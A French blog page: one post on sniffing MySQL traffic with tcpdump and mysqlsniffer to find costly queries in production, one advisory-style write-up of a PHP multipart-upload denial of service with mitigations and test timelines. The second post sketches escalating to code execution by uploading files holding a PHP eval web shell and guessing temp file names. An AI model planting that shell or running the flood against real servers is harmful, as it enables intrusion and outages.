S’il est relativement aisé de débugger une application en cours de développement ou lors des phases de preprod, c’est une toute autre histoire lorsque celle-ci est en production, et que l’on doit continuer à servir les pages aux internautes sans (trop) dégrader l’applicatif.

L’un des problèmes majeurs, si cela n’a pas été prévu en amont ou lors des tests unitaires, est de traquer ce que doit traiter MySQL à un instant T pour comprendre pourquoi mysqld utilise, par exemple, plus de 50% du CPU. En effet, les 3/4 des soucis de performance que nous rencontrons sur les développements sont dus à des requêtes mal pensées ou mal utilisées.

Dans le cadre d’un récent développement par un prestataire, nous avons eu à auditer une application qu’il a livré. Celle-ci avait une architecture relativement simple: Flex pour l’interface utilisateur, PHP propulsé par un Framework dont je tairais le nom pour traiter les actions de l’utilisateur, et ce dernier fait donc exécuter les requêtes MySQL pour servir le contenu au Flex. Au delà de ça, diverses choses comme du chat et de la webcam sont traitées par un serveur de streaming propriétaire d’Adobe: Flash Media Server (FMS pour les intimes). Le contexte d’analyse est simple: « tout se passait bien jusqu’au jour de la mise en beta », jour à partir duquel il a été mis à disposition d’un bien grand nombre d’internautes des invitations « privées », information relayée par quelques tweets de bloggeurs influents, tout ceci histoire de lancer paisiblement la machine. Ce jour là les classiques ont été constatés: charge apache, charge MySQL, SWAP et le tout s’est terminé en beauté par un magnifique segfault de FMS.

Afin de faire comprendre au prestataire que les soucis de performance n’étaient ni du:

• à une incroyable et incontrôlable explosion du trafic sur le serveur
• à l’incompétence du sysadmin
• à un comportement ésotérique du serveur
• au sous dimensionnement du hardware (pour cette partie en tout cas) [1]
• à bien d’autres choses…

nous avons décidé de sortir sur un laps de quinze minutes les requêtes que devait exécuter MySQL. Ça c’était pour la théorie, maintenant quelle solution choisir ?

1. Utiliser munin
   Munin ne nous aurait donné qu’une statistique générale du nombre de requêtes à traiter à un instant, sans nous en extraire le contenu. En effet, si l’on se penche sur le plugin mysql_queries de munin situé dans /usr/share/munin/plugins/, on observe qu’il ne fait qu’utiliser mysqladmin avec l’argument extended-status:

   my $MYSQLADMIN = $ENV{mysqladmin} || "mysqladmin";
   my $COMMAND = "$MYSQLADMIN $ENV{mysqlopts} extended-status";

1. Utiliser le query log de MySQL
   Inenvisageable au moins pour deux raisons: nous étions en production, et donc pas envie de faire une erreur de configuration, aussi minime soit-elle. Mais surtout activer les logs de MySQL, sans savoir précisément de quoi il en retourne derrière (en volume de requêtes), c’est un coup à aggraver la situation en faisant exploser les I/O et par la même d’augmenter l’overhead de la machine. Le /etc/mysql/my.cnf est d’ailleurs plutôt clair à ce sujet:

   # Both location gets rotated by the cronjob.
   # Be aware that this log type is a performance killer.
   # log = /var/log/mysql/mysql.log
   

2. Utiliser le slow query log de MySQL
   Il ne recense que les requêtes qui prennent plus d’une seconde. Le problème est que la plupart des soucis de performance ne viennent pas de requêtes trop longues, mais simplement de requêtes qui sont exécutées très souvent, par exemple dans une boucle au lieu d’utiliser un JOIN.
3. Utiliser le log binaire de MySQL
   Utilisation inappropriée: il enregistre l’intégralité des changements et est généralement utilisé pour la réplication, du fait de son contenu et de son format.
4. Utiliser SHOW PROFILES
   Malheureusement, il ne fait état que des ressources, ne gère pas l’intégralité des requêtes et doit surtout être gourmand.
5. Utiliser le patch de Google user_statistics
   Cette solution semble réellement viable pour analyser les performances par utilisateur, mais cela ne collait pas du tout à l’utilisation que je souhaitais en faire. Et ce n’était de toute façon pas déployé sur la machine.
6. Utiliser Mysql Proxy
   Cette solution est réellement idéale, elle embarque load balancing, failover, query analysis, query filtering,… avec de beaux charts. Malheureusement, même tarif que pour les logs cités précédemment: On ne déploie pas cela sur de la prod lorsqu’il est trop tard.

Toutes ces solutions semblaient efficaces pour benchmarker au global un applicatif, un utilisateur, ou pour analyser les requêtes au globale, mais pas pour faire un snapshot à un instant T sans mettre le serveur à genoux.

Il existait un solution un peu bâtarde connue de tous:

• La commande showprocesslist
  Cette commande affiche la liste des requêtes en cours d’exécution. Pour chaque requête, vous pouvez voir en combien de temps celle-ci a été exécutée, son utilisateur et son état. Le soucis est que le snap est fait à l’instant précis où l’on tape la commande. En d’autre terme, je ne connais QUE la requête qui est exécutée précisément à CET instant. Je ne connais ni celle d’avant, ni celle d’après. C’est évidement la grosse limitation de cette méthode. Son avantage est en revanche d’être présent nativement sur toutes les versions de MySQL. On pouvait donc imaginer réunir les requêtes à l’aide un bête script:

  john@laptop:~$ ./process.sh > dump
  #!/bin/sh
  while true
  do
  mysqladmin -ujohn -puuencode processlist
  done
  

  Pour le coup cette méthode ne m’a rien apporté de concluant:

  +-------+------+-----------+----+---------+------+-------+------------------+
  | Id    | User | Host      | db | Command | Time | State | Info             |
  +-------+------+-----------+----+---------+------+-------+------------------+
  | 22703 | joh  | localhost |    | Query   | 0    |       | show processlist |
  +-------+------+-----------+----+---------+------+-------+------------------+
  

Je n’ai trouvé que deux solutions pour réussir à faire ce dont j’avais besoin, mais ces deux solutions sont globalement les mêmes, elles utilisent la même méthode et le même principe: sniffer ce qui se passe sur le port 3306, port d’écoute de MySQL.

1. Utilisation de tcpdump
   J’ai donc entrepris de sniffer ce qui arrivait sur le 3306 avec tcpdump/libpcap à l’aide de la commande suivante [2]:

   tcpdump -i lo -s 0 -l -w - dst port 3306 | strings | perl -e '
   while(<>) { chomp; next if /^[^ ]+[ ]*$/;
   if(/^(SELECT|UPDATE|DELETE|INSERT|SET|COMMIT|ROLLBACK|CREATE|DROP|ALTER|SHOW)/i) {
   if (defined $q) { print "$q\n"; }
   $q=$_;
   } else {
   $_ =~ s/^[ \t]+//; $q.=" $_";
   }
   }'
   

   Celle-ci affichera en interactif l’intégralité des requêtes qui sont soumises à MySQL. Cette méthode n’a rien donné dans un premier temps: les fichiers de configuration utilisaient localhost comme hôte de connexion. J’ai donc du modifier l’hôte en 127.0.0.1 pour passer par la network stack. Et là, Ô joie, toutes les requêtes processées par MySQL s’empilent les unes aux autres dans mon shell.

2. Utilisation de mysqlsniffer
   Cette méthode est plus commode pour le néophyte, et elle permet de dumper efficacement la requête, mais également la réponse de MySQL. Pour l’utiliser, voici la marche à suivre:

   apt-get install libpcap-dev
   mkdir && cd mysqlsniffer
   wget http://hackmysql.com/code/mysqlsniffer.tgz
   tar zxvf mysqlsniffer.tgz
   gcc -O2 -lpcap -o mysqlsniffer mysqlsniffer.c packet_handlers.c misc.c
   

   Après il n’y a plus qu’à:

   john@laptop:~$ ./mysqlsniffer
   mysqlsniffer v1.2 - Watch MySQL traffic on a TCP/IP network
   Usage: mysqlsniffer [OPTIONS] INTERFACE
   OPTIONS:
   --port N Listen for MySQL on port number N (default 3306)
   --verbose Show extra packet information
   --tcp-ctrl Show TCP control packets (SYN, FIN, RST, ACK)
   --net-hdrs Show major IP and TCP header values
   --no-mysql-hdrs Do not show MySQL header (packet ID and length)
   --state Show state
   --v40 MySQL server is version 4.0
   --dump Dump all packets in hex
   --help Print this
   Original source code and more information at:
   
   http://hackmysql.com/mysqlsniffer
   

Allez, pour le plaisir des yeux, une requête parmi tant d’autres que j’ai pu trouver lors du dump. Elle est exécutée à chaque inscription, ou à chaque modification dans le profil de l’utilisateur, la grande classe. Bah quoi, elle est sujette à changer souvent cette liste. Ce que vous êtes médisants.

­127.0.0.1.59387 > server: ID 0 len 46 COM_QUERY: SELECT * FROM `countries` ORDER BY `name` ASC
server > 127.0.0.1.59387: ID 1 len 1 4 Fields
ID 2 len 47 Field: john.countries.id <type tiny int (8961) size 3>
ID 3 len 51 Field: john.countries.name <type var string (253) size 135>
ID 4 len 59 Field: john.countries.latitude <type float (4) size 12>
ID 5 len 61 Field: john.countries.longitude <type float (4) size 12>
ID 6 len 5 End <warnings 0>
ID 7 len 20 || 3 | Afghanistan | 33 | 65 ||
ID 8 len 26 || 233 | Afrique du Sud | -29 | 24 ||
ID 9 len 16 || 6 | Albanie | 41 | 20 ||
ID 10 len 17 || 59 | Algérie | 28 | 3 ||
ID 11 len 18 || 54 | Allemagne | 51 | 9 ||
ID 12 len 19 || 1 | Andorre | 42.5 | 1.5 ||
ID 13 len 20 || 9 | Angola | -12.5 | 18.5 ||
ID 14 len 26 || 5 | Anguilla | 18.25 | -63.1667 ||
ID 15 len 21 || 10 | Antarctique | -90 | 0 ||
ID 16 len 33 || 4 | Antigua-et-Barbuda | 17.05 | -61.8 ||
ID 17 len 39 || 8 | Antilles néerlandaises | 12.25 | -68.75 ||
ID 18 len 26 || 182 | Arabie saoudite | 25 | 45 ||
ID 19 len 21 || 11 | Argentine | -34 | -64 ||
ID 20 len 17 || 7 | Arménie | 40 | 45 ||
ID 21 len 23 || 15 | Aruba | 12.5 | -69.9667 ||
ID 22 len 21 || 14 | Australie | -27 | 133 ||
ID 23 len 28 || 13 | Autriche | 47.3333 | 13.3333 ||
ID 24 len 26 || 16 | Azerbaïdjan | 40.5 | 47.5 ||
ID 25 len 21 || 30 | Bahamas | 24.25 | -76 ||
ID 26 len 21 || 23 | Bahren | 26 | 50.55 ||
ID 27 len 20 || 19 | Bangladesh | 24 | 90 ||
ID 28 len 28 || 18 | Barbade | 13.1667 | -59.5333 ||
ID 29 len 20 || 175 | Belau | 7.5 | 134.5 ||
ID 30 len 22 || 20 | Belgique | 50.8333 | 4 ||
ID 31 len 23 || 35 | Belize | 17.25 | -88.75 ||
ID 32 len 19 || 25 | Bénin | 9.5 | 2.25 ||
ID 33 len 27 || 26 | Bermudes | 32.3333 | -64.75 ||
ID 34 len 21 || 31 | Bhoutan | 27.5 | 90.5 ||
ID 35 len 22 || 34 | Biélorussie | 53 | 28 ||
ID 36 len 19 || 138 | Birmanie | 22 | 98 ||
ID 37 len 19 || 28 | Bolivie | -17 | -65 ||
ID 38 len 29 || 17 | Bosnie-Herzégovine | 44 | 18 ||
ID 39 len 19 || 33 | Botswana | -22 | 24 ||
ID 40 len 19 || 29 | Brésil | -10 | -55 ||
ID 41 len 22 || 27 | Brunei | 4.5 | 114.667 ||
ID 42 len 18 || 22 | Bulgarie | 43 | 25 ||
ID 43 len ­22 || 21 | Burkina Faso | 13 | -2 ||
ID 44 len 19 || 24 | Burundi | -3.5 | 30 ||
ID 45 len 20 || 111 | Cambodge | 13 | 105 ||
ID 46 len 17 || 45 | Cameroun | 6 | 12 ||
ID 47 len 17 || 36 | Canada | 60 | -95 ||
ID 48 len 19 || 50 | Cap-Vert | 16 | -24 ||
ID 49 len 17 || 44 | Chili | -30 | -71 ||
ID 50 len 16 || 46 | Chine | 35 | 105 ||
ID 51 len 16 || 52 | Chypre | 35 | 33 ||
ID 52 len 18 || 47 | Colombie | 4 | -72 ||
ID 53 len 27 || 113 | Comores | -12.1667 | 44.25 ||
ID 54 len 15 || 40 | Congo | -1 | 15 ||
ID 55 len 26 || 115 | Corée du Nord | 40 | 127 ||
ID 56 len 27 || 116 | Corée du Sud | 37 | 127.5 ||
ID 57 len 21 || 48 | Costa Rica | 10 | -84 ||
ID 58 len 23 || 42 | Côte d'Ivoire | 8 | -5 ||
ID 59 len 24 || 94 | Croatie | 45.1667 | 15.5 ||
ID 60 len 17 || 49 | Cuba | 21.5 | -80 ||
ID 61 len 18 || 56 | Danemark | 56 | 10 ||
ID 62 len 20 || 55 | Djibouti | 11.5 | 43 ||
ID 63 len 30 || 57 | Dominique | 15.4167 | -61.3333 ||
ID 64 len 16 || 62 | Egypte | 27 | 30 ||
ID 65 len 28 || 2 | Emirats arabes unis | 24 | 54 ||
ID 66 len 21 || 60 | Equateur | -2 | 77.5 ||
ID 67 len 19 || 64 | Erythrée | 15 | 39 ||
ID 68 len 17 || 65 | Espagne | 40 | -4 ||
ID 69 len 17 || 61 | Estonie | 59 | 26 ||
ID 70 len 22 || 219 | Etats-Unis | 38 | -97 ||
ID 71 len 17 || 66 | Ethiopie | 8 | 38 ||
ID 72 len 55 || 136 | ex-République yougoslave de Macédoine | 41.8333 | 22 ||
ID 73 len 18 || 67 | Finlande | 64 | 26 ||
ID 74 len 15 || 72 | France | 46 | 2 ||
ID 75 len 18 || 73 | Gabon | -1 | 11.75 ||
ID 76 len 27 || 81 | Gambie | 13.4667 | -16.5667 ||
ID 77 len 20 || 76 | Géorgie | 42 | 43.5 ||
ID 78 len 14 || 78 | Ghana | 8 | -2 ||
ID 79 len 29 || 79 | Gibraltar | 36.1833 | -5.3667 ||
ID 80 len 16 || 85 | Grèce | 39 | 22 ||
ID 81 len 28 || 75 | Grenade | 12.1167 | -61.6667 ||
ID 82 len 20 || 80 | Groenland | 72 | -40 ||
ID 83 len 24 || 88 | Guam | 13.4667 | 144.783 ||
ID 84 len 25 || 87 | Guatemala | 15.5 | -90.25 ||
ID 85 len 18 || 82 | Guinée | 11 | -10 ||
ID 86 len 29 || 84 | Guinée équatoriale | 2 | 10 ||
ID 87 len 25 || 89 | Guinée-Bissao | 12 | -15 ||
ID 88 len 16 || 90 | Guyana | 5 | -59 ||
ID 89 len 22 || 95 | Haïti| 19 | -72.4167 ||
ID 90 len 21 || 93 | Honduras | 15 | -86.5 ||
ID 91 len 27 || 91 | Hong Kong | 22.25 | 114.167 ||
ID 92 len 17 || 96 | Hongrie | 47 | 20 ||
ID 93 len 27 || 32 | Ile Bouvet | -54.4333 | 3.4 ||
ID 94 len 31 || 51 | Ile Christmas | -10.5 | 105.667 ||
ID 95 len 32 || 155 | Ile Norfolk | -29.0333 | 167.95 ||
ID 96 len 27 || 118 | Iles Cayman | 19.5 | -80.5 ||
ID 97 len 31 || 43 | Iles Cook | -21.2333 | -159.767 ||
ID 98 len 42 || 37 | Iles des Cocos (Keeling) | -12.5 | 96.8333 ||
ID 99 len 28 || 69 | Iles Falkland | -51.75 | -59 ||
ID 100 len 22 || 71 | Iles Féroé | 62 | -7 ||
ID 101 len 22 || 68 | Iles Fidji | -18 | 175 ||
ID 102 len 53 || 86 | Iles Géorgie du Sud et Sandwich du Sud | -54.5 | -37 ||
ID 103 len 40 || 92 | Iles Heard et McDonald | -53.1 | 72.5167 ||
ID 104 len 24 || 135 | Iles Marshall | 9 | 168 ||
ID 105 len 59 || 218 | Iles mineures éloignées des Etats-Unis | 19.2833 | 166.6 ||
ID 106 len 22 || 236 | Iles Pitcairn | 0 | 0 ||
ID 107 len 24 || 183 | Iles Salomon | -8 | 159 ||
ID 108 len 37 || 190 | Iles Svalbard et Jan Mayen | 78
ID 109 len 40 || 201 | Iles Turks-et-Caicos | 21.75 | -71.5833 ||
ID 110 len 47 || 226 | Iles Vierges américaines | 18.3333 | -64.8333 ||
ID 111 len 41 || 225 | Iles Vierges britanniques | 18.5 | -64.5 ||
ID 112 len 15 || 100 | Inde | 20 | 77 ||
ID 113 len 21 || 97 | Indonésie | -5 | 120 ||
ID 114 len 15 || 103 | Iran | 32 | 53 ||
ID 115 len 15 || 102 | Iraq | 33 | 44 ||
ID 116 len 17 || 98 | Irlande | 53 | -8 ||
ID 117 len 19 || 104 | Islande | 65 | -18 ||
ID 118 len 22 || 99 | Israël | 31.5 | 34.75 ||
ID 119 len 27 || 105 | Italie | 42.8333 | 12.8333 ||
ID 120 len 26 || 106 | Jamaïque | 18.25 | -77.5 ||
ID 121 len 17 || 108 | Japon | 36 | 138 ||
ID 122 len 19 || 107 | Jordanie | 31 | 36 ||
ID 123 len 21 || 119 | Kazakhstan | 48 | 68 ||
ID 124 len 15 || 109 | Kenya | 1 | 38 ||
ID 125 len 23 || 110 | Kirghizistan | 41 | 75 ||
ID 126 len 24 || 112 | Kiribati | 1.4167 | 173 ||
ID 127 len 28 || 117 | Koweït | 29.3375 | 47.6581 ||
ID 128 len 16 || 120 | Laos | 18 | 105 ||
ID 129 len 23 || 126 | Lesotho | -29.5 | 28.5 ||
ID 130 len 19 || 129 | Lettonie| 57 | 25 ||
ID 131 len 26 || 121 | Liban | 33.8333 | 35.8333 ||
ID 132 len 21 || 125 | Liberia | 6.5 | -9.5 ||
ID 133 len 16 || 130 | Libye | 25 | 17 ||
ID 134 len 33 || 123 | Liechtenstein | 47.1667 | 9.5333 ||
ID 135 len 19 || 127 | Lituanie | 56 | 24 ||
ID 136 len 28 || 128 | Luxembourg | 49.75 | 6.1667 ||
ID 137 len 25 || 140 | Macao | 22.1667 | 113.55 ||
ID 138 len 22 || 134 | Madagascar | -20 | 47 ||
ID 139 len 23 || 150 | Malaisie | 2.5 | 112.5 ||
ID 140 len 20 || 148 | Malawi | -13.5 | 34 ||
ID 141 len 21 || 147 | Maldives | 3.25 | 73 ||
ID 142 len 15 || 137 | Mali | 17 | -4 ||
ID 143 len 26 || 145 | Malte | 35.8333 | 14.5833 ||
ID 144 len 34 || 141 | Mariannes du Nord | 15.2 | 145.75 ||
ID 145 len 16 || 131 | Maroc | 32 | -5 ||
ID 146 len 27 || 146 | Maurice | -20.2833 | 57.55 ||
ID 147 len 22 || 143 | Mauritanie | 20 | -12 ||
ID 148 len 20 || 149 | Mexique | 23 | -102 ||
ID 149 len 29 || 70 | Micronésie | 6.9167 | 158.25 ||
ID 150 len 19 || 133 | Moldavie | 47 | 29 ||
ID 151 len 23 || 132 | Monaco | 43.7333 | 7.4 ||
ID 152 len 20 || 139 | Mongolie |
ID 153 len 27 || 144 | Montserrat | 16.75 | -62.2 ||
ID 154 len 25 || 151 | Mozambique | -18.25 | 35 ||
ID 155 len 19 || 152 | Namibie | -22 | 17 ||
ID 156 len 26 || 161 | Nauru | -0.5333 | 166.917 ||
ID 157 len 17 || 160 | Népal | 28 | 84 ||
ID 158 len 21 || 157 | Nicaragua | 13 | -85 ||
ID 159 len 15 || 154 | Niger | 16 | 8 ||
ID 160 len 17 || 156 | Nigeria | 10 | 8 ||
ID 161 len 29 || 162 | Nioué | -19.0333 | -169.867 ||
ID 162 len 19 || 159 | Norvège | 62 | 10 ||
ID 163 len 36 || 153 | Nouvelle-Calédonie | -21.5 | 165.5 ||
ID 164 len 30 || 163 | Nouvelle-Zélande | -41 | 174 ||
ID 165 len 15 || 164 | Oman | 21 | 57 ||
ID 166 len 17 || 217 | Ouganda | 1 | 32 ||
ID 167 len 23 || 221 | Ouzbékistan | 41 | 64 ||
ID 168 len 19 || 170 | Pakistan | 30 | 70 ||
ID 169 len 17 || 165 | Panama | 9 | -80 ||
ID 170 len 38 || 168 | Papouasie-Nouvelle-Guinée | -6 | 147 ||
ID 171 len 21 || 176 | Paraguay | -23 | -58 ||
ID 172 len 23 || 158 | Pays-Bas | 52.5 | 5.75 ||
ID 173 len 19 || 166 | Pérou | -10 | -76 ||
ID 174 len 23 || 169 | Philippines | 13 | 122
ID 175 len 18 || 171 | Pologne | 52 | 20 ||
ID 176 len 35 || 167 | Polynésie française | -15 | -140 ||
ID 177 len 27 || 173 | Porto Rico | 18.25 | -66.5 ||
ID 178 len 21 || 174 | Portugal | 39.5 | -8 ||
ID 179 len 21 || 177 | Qatar | 25.5 | 51.25 ||
ID 180 len 35 || 39 | République centrafricaine | 7 | 21 ||
ID 181 len 43 || 38 | République démocratique du Congo | 0 | 25 ||
ID 182 len 39 || 58 | République dominicaine | 19 | -70.6667 ||
ID 183 len 35 || 53 | République tchèque | 49.75 | 15.5 ||
ID 184 len 19 || 179 | Roumanie | 46 | 25 ||
ID 185 len 21 || 74 | Royaume-Uni | 54 | -2 ||
ID 186 len 18 || 180 | Russie | 60 | 100 ||
ID 187 len 17 || 181 | Rwanda | -2 | 30 ||
ID 188 len 30 || 63 | Sahara occidental | 24.5 | -13 ||
ID 189 len 48 || 114 | Saint-Christophe-et- | 17.3333 | -62.75 ||
ID 190 len 32 || 193 | Saint-Marin | 43.7667 | 12.4167 ||
ID 191 len 48 || 223 | Saint-Vincent-et-les-Grenadines | 13.25 | -61.2 ||
ID 192 len 34 || 188 | Sainte-Hélène | -15.9333 | -5.7 ||
ID 193 len 34 || 122 | Sainte-Lucie | 13.8833 | -61.1333 ||
ID 194 30 || 198 | Salvador | 13.8333 | -88.9167 ||
ID 195 len 28 || 230 | Samoa | -13.5833 | -172.333 ||
ID 196 len 36 || 12 | Samoa américaines | -14.3333 | -170 ||
ID 197 len 30 || 197 | Sao Tomé-et-Principe | 1 | 7 ||
ID 198 len 21 || 194 | Sénégal | 14 | -14 ||
ID 199 len 30 || 237 | Serbie et Monténegro | 0 | 0 ||
ID 200 len 31 || 184 | Seychelles | -4.5833 | 55.6667 ||
ID 201 len 27 || 192 | Sierra Leone | 8.5 | -11.5 ||
ID 202 len 27 || 187 | Singapour | 1.3667 | 103.8 ||
ID 203 len 27 || 191 | Slovaquie | 48.6667 | 19.5 ||
ID 204 len 20 || 189 | Slovénie | 46 | 15 ||
ID 205 len 18 || 195 | Somalie | 10 | 49 ||
ID 206 len 17 || 185 | Soudan | 15 | 30 ||
ID 207 len 19 || 124 | Sri Lanka | 7 | 81 ||
ID 208 len 17 || 186 | Suède | 62 | 15 ||
ID 209 len 15 || 41 | Suisse | 47 | 8 ||
ID 210 len 19 || 196 | Suriname | 4 | -56 ||
ID 211 len 25 || 200 | Swaziland | -26.5 | 31.5 ||
ID 212 len 16 || 199 | Syrie | 35 | 38 ||
ID 213 len 22 || 206 | Tadjikistan | 39 | 71 ||
ID 214 len 21 || 214 | Taïwan | 23.5 | 121 ||
ID 215 len 19 || 215 | Tanzanie | -6 | 35
ID 216 len 16 || 202 | Tchad | 15 | 19 ||
ID 217 len 40 || 203 | Terres australes françaises | -43 | 67 ||
ID 218 len 54 || 101 | Territoire britannique de l'Océan Indien | -6 | 71.5 ||
ID 219 len 22 || 205 | Thaïlande | 15 | 100 ||
ID 220 len 18 || 204 | Togo | 8 | 1.1667 ||
ID 221 len 22 || 207 | Tokélaou | -9 | -172 ||
ID 222 len 19 || 210 | Tonga | -20 | -175 ||
ID 223 len 30 || 212 | Trinité-et-Tobago | 11 | -61 ||
ID 224 len 17 || 209 | Tunisie | 34 | 9 ||
ID 225 len 24 || 208 | Turkménistan | 40 | 60 ||
ID 226 len 18 || 211 | Turquie | 39 | 35 ||
ID 227 len 18 || 213 | Tuvalu | -8 | 178 ||
ID 228 len 18 || 216 | Ukraine | 49 | 32 ||
ID 229 len 20 || 220 | Uruguay | -33 | -56 ||
ID 230 len 20 || 228 | Vanuatu | -16 | 167 ||
ID 231 len 23 || 222 | Vatican | 41.9 | 12.45 ||
ID 232 len 20 || 224 | Venezuela | 8 | -66 ||
ID 233 len 21 || 227 | Viét Nam | 16 | 106 ||
ID 234 len 34 || 229 | Wallis-et-Futuna | -13.3 | -176.2 ||
ID 235 len 17 || 231 | Yémen | 15 | 48 ||
ID 236 len 18 || 234 | Zambie | -15 | 30 ||
ID 237 len 20 || 235 | Zimbabwe | -20 |

Au fait, pour ceux qui croient que le blog est en friche, j’ai sorti la tondeuse.

[1]Il faut quand même de sacrés machines pour faire tenir 500 pelos sur un serveur.
http://www.adobe.com/devnet/flashmediaserver/articles/performance_tuning_webcasts.html

[2]Merci à Brian Racer.

Concept

Lorsque l’on envoie une requête POST à un script PHP avec le content-type « multipart/form-data » et que l’on inclut une liste de fichiers dans cette requête, PHP crée un fichier temporaire pour chaque fichier de la requête. PHP crée ces fichiers sans même regarder si le script supporte l’upload de fichiers. Après l’exécution du script, les fichiers temporaires sont normalement effacés.

Le problème vient donc du fait que si vous incluez un très grand nombre de fichiers dans la requête, PHP a besoin de créer ces fichiers avant l’exécution du script et donc la suppression qui devrait en découler.

Le denial of service apparait lorsque l’on crée bons nombres de requêtes (ca rappelle vaguement la faille wordpress, et la plupart des DoS bien entendu), et que chaque requête contient beaucoup de fichiers à traiter (+15000).

Lorsque vous envoyez cette requête au serveur web, il s’écroule et cesse de répondre car il doit processer un énorme nombre de fichiers (création / suppression) dans un très court délai.

N’importe quel site tournant sous PHP et où l’upload de fichier est activé (configuration par défaut) est vulnérable. Il n’est pas nécessaire d’avoir un formulaire d’upload pour exécuter l’exploit. Cette faille est donc critique. J’ai d’ailleurs lu dans mes RSS d’hier qu’OVH organisait une patch party cette nuit, je suppose que c’est pour protéger ses mutualisés de cette faille.

PHP intègre deux paramètres de configuration qui ont attrait à l’upload:

upload_max_filesize
post_max_size

Cependant, ces deux paramètres ne sont pas suffisants pour enrayer ce DoS.

Notions d’enrayement

Trois workarounds sont proposés concernant cette faille:

• Désactiver l’upload de fichier
  Si vous n’avez pas besoin d’uploader des fichiers sur votre dédié, vous pouvez donc désactiver cette fonctionnalité.
  file_uploads = Off dans le php.ini

• Installer PHP 5.3.1
  Si vous ne pouvez pas désactiver l’upload de fichiers, alors il convient d’upgrader PHP à la version 5.3.1.

  Cette nouvelle version intègre un patch pour la faille:
  En effet; max_file_uploads a été ajouté et permet de définir le nombre maximum de fichiers à processer à la fois (limité à 20 par défaut) afin d’enrayer les possibilités de DoS par trop grand nombre de fichiers temporaires.

• Installer Suhosin PHP Extension /!\
  L’extension Suhosin possède une option nommée « suhosin.upload.max_uploads ». Cette option définit le nombre maximum de fichiers qui peuvent être uploadés par requête, définit par défaut à 25.
  /!\Suhoshin PHP extension ne doit pas être confondu avec Suhosin patch qui ne protège pas de cette attaque mais est assez largement déployé sur les serveurs de productions.

Tests dans des environnements de production

• PHP on Linux (Ubuntu 8.10) / PHP Version 5.2.6-2ubuntu4.3


Timeline:
14:50 – started the attack
14:51 : web server is no longer responsive.
load average: 102.02, 30.68, 10.68
14:52 : web server is not responsive.
load average: 129.95, 49.29, 18.05
14:52 – attack is aborted
14:53 – web server is not responsive.
load average: 143.58, 67.90, 26.41
14:54 – web server is not responsive.
load average: 149.60, 89.58, 37.93
16:05 – web server is not responsive.
load average: 151.64, 120.91, 60.94


Vérification du nombre de fichiers temporaires crée par l’auteur:

$ls -la /tmp/php* | wc -l
-bash: /bin/ls: Argument list too long
0

Création d’un fichier pour compter le nombre de fichiers crées:

$php count_files_from_dir.php /tmp/php*
2.419.649

Donc une heure après, le serveur ne répond toujours pas et 2.419.649 fichiers temporaires ont été crées.

Si l’on redémarre le serveur, ces fichiers ne sont pas effacés.

• PHP on FreeBSD 7.2 / PHP Version 5.2.9


Timeline:
14:00 – attack is started.
14:01 – web server is no longer responsive (Chrome message: Error 101 (net::ERR_CONNECTION_RESET): Unknown error.))
load average: 87:22, 22.61, 9.9
14:02 – attack is aborted.
14:06 – web server is no longer responsive.
load averages: 45.42, 42.35, 22.59
14:11 – web server is not responsive.
load averages: 26.77, 35.78, 23.49
The system is slowed down to a crawl.
Basically you cannot even write a command in a remote PUTTY session.
14:17 – web server is not responsive.
The console is continuously displaying kernel error messages like:
swap_pager_getswapspace(2): failed
swap_pager_getswapspace(16): failed
swap_pager_getswapspace(3): failed
…
pid 61248 (httpd), uid 80 inumber 5 on /var: out of inodes
pid 61251 (httpd), uid 80 inumber 5 on /var: out of inodes
pid 61146 (httpd), uid 80 inumber 5 on /var: out of inodes
pid 61103 (httpd), uid 80 inumber 5 on /var: out of inodes
pid 61103 (httpd), uid 80 inumber 5 on /var: out of inodes
pid 61063 (httpd), uid 80 inumber 5 on /var: out of inodes
pid 61101 (httpd), uid 80 inumber 5 on /var: out of inodes
…
14:23 – web server is responsive.
load averages: 0.79, 29.10, 37.13

Même chose lorsque l’auteur tente de compter les fichiers temporaires:

$ls -la /var/tmp/php* | wc -l
-bash: /bin/ls: Argument list too long
0
$ls -la /var/tmp/php
Display all 117490 possibilities? (y or n)

Donc nous avons 117490 fichiers temporaires sur le serveur.

• PHP on Windows: XAMPP / XAMPP for Windows setup filename: xampp-win32-1.7.2.exe / PHP Version 5.3.0


Timeline:
12:30 – started the attack
12:30 + few seconds: CPU usage => 100%


En quelques secondes, le serveur ne répond plus, 65535 fichiers temporaires sont crés et aucun autre ne peut être crée.

Sur XAMPP pour Windows, PHP crée les fichiers temporaires dans C:\xampp\tmp (si votre installation est dans C:\xampp\)
Les fichiers sont appelés phpXXXX.tmp (Où X’s charset est ‘a’-’z’, ‘A’-’Z’, ‘0′-’9′).
Exemple: php1A00.tmp

12:31 – attack is aborted
12:39 – CPU usage is still 100%, web server is not responsive.
13:08 – CPU usage is still 100%, web server is responsive.
14:08 – CPU usage is 97%
14:34 – CPU usage is 97%

Deux heures plus tard l’utilisation du CPU n’est pas revenue à la normale. Cependant le serveur web répond à nouveau. Après un redémarrage du serveur, l’utilisation du CPU redevient normale. Cependant les 65535 fichiers temporaires ne sont pas effacés.

• PHP on OpenBSD 4.6 / PHP Version 5.2.10


Timeline:
12:00 – started the attack
12:00 + few seconds: CPU usage => 100%
12:01 – attack is aborted
12:01 – web server is no longer responsive.
load averages: 120.42, 50.35, 20.59
12:04 – web server is no longer responsive.
load averages: 147.17, 80.74, 36.46
The system is slowed down to a crawl.
12:06 – web server is responsive.
load averages: 122.59, 96.03, 48.31


A ce point le serveur web est ralenti mais continue à servir les pages

12:07 – web server is responsive.
load averages: 63.67, 85.01, 47.26
12:10 – web server is responsive.
load averages: 6.56, 52.75, 40.03
12:12 – web server is responsive.
load averages: 0.55, 16.36, 26.50

Le système est revenu à la normale.

OpenBSD gère très bien ce type d’attaque, les effets n’ont durés que quelques minutes.

Pourquoi cela ? Grace à Suhosin PHP extension. OpenBSD a cette extension activée par défaut.

Exploitation

Dans certains cas, cette attaque peut se transformer une inclusion locale et donc en exécution de code distant. La plupart des OS n’effacent pas les fichiers temporaires crée, même après redémarrage du serveur web. De fait un grand nombre de fichiers temporaires sont laissés dans le répertoire temporaire (habituellement /tmp sur les systèmes unix). On peut donc tenter de deviner le nom de l’un de ces fichiers et de l’inclure.

Pour que cela fonctionne, tous les fichiers uploadés doivent contenir le code php suivant: <?php eval($_REQUEST[x]); ?>.

Sur les système tournant sous Windows, seulement quatre caractères sont utilisés pour générer les fichiers temporaires (phpXXXX.tmp). Une fois que le serveur répond à nouveau, il y a 65 535 fichiers dans le repertoire temporaire. Il est donc possible de deviner facilement le nom de l’un de ces fichiers et de l’inclure.

